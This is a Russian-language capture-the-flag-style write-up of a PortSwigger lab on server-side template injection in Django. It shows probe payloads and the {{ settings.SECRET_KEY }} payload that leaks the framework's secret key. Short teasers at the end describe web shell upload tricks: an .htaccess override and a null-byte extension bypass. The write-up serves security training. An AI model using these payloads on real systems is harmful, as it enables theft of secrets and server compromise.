На странице
SSTI с утечкой данных через объекты пользователя
Лаборатория
Server-side template injection with information disclosure via user-supplied objects · Expert
Решение
Дано
This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.
To solve the lab, steal and submit the framework's secret key.
You can log in to your own account using the following credentials:
Анализ задания
Есть сайт, уязвимый к SSTI. Нам дали пользователя, который, судя по всему, может редактировать шаблоны для движка шаблонизатора. Нам нужно подготовить такой payload, который позволит похитить secret key фреймворка. И внедрить этот payload в шаблон.
Разведка
Залогинимся под юзером, посмотрим что там.
Заходим в любой товар — там есть кнопка «edit template».
Там textarea — давай закинем payload {{7*'7'}}.
Traceback (most recent call last):
File "<string>", line 11, in <module>
File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 191, in __init__
self.nodelist = self.compile_nodelist()
File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 230, in compile_nodelist
return parser.parse()
File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 486, in parse
raise self.error(token, e)
django.template.exceptions.TemplateSyntaxError: Could not parse the remainder: '*'7'' from '7*'7''
Ага, это Django Template Engine.
Эксплуатация
Идём на PayloadsAllTheThings, находим раздел про Django. В HackTricks, кстати, нет про него инфы.
{{ messages.storages.0.signer.key }}
Пусто.
А, payload оказывается проще:
{{ settings.SECRET_KEY }}
Лаба решена!
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.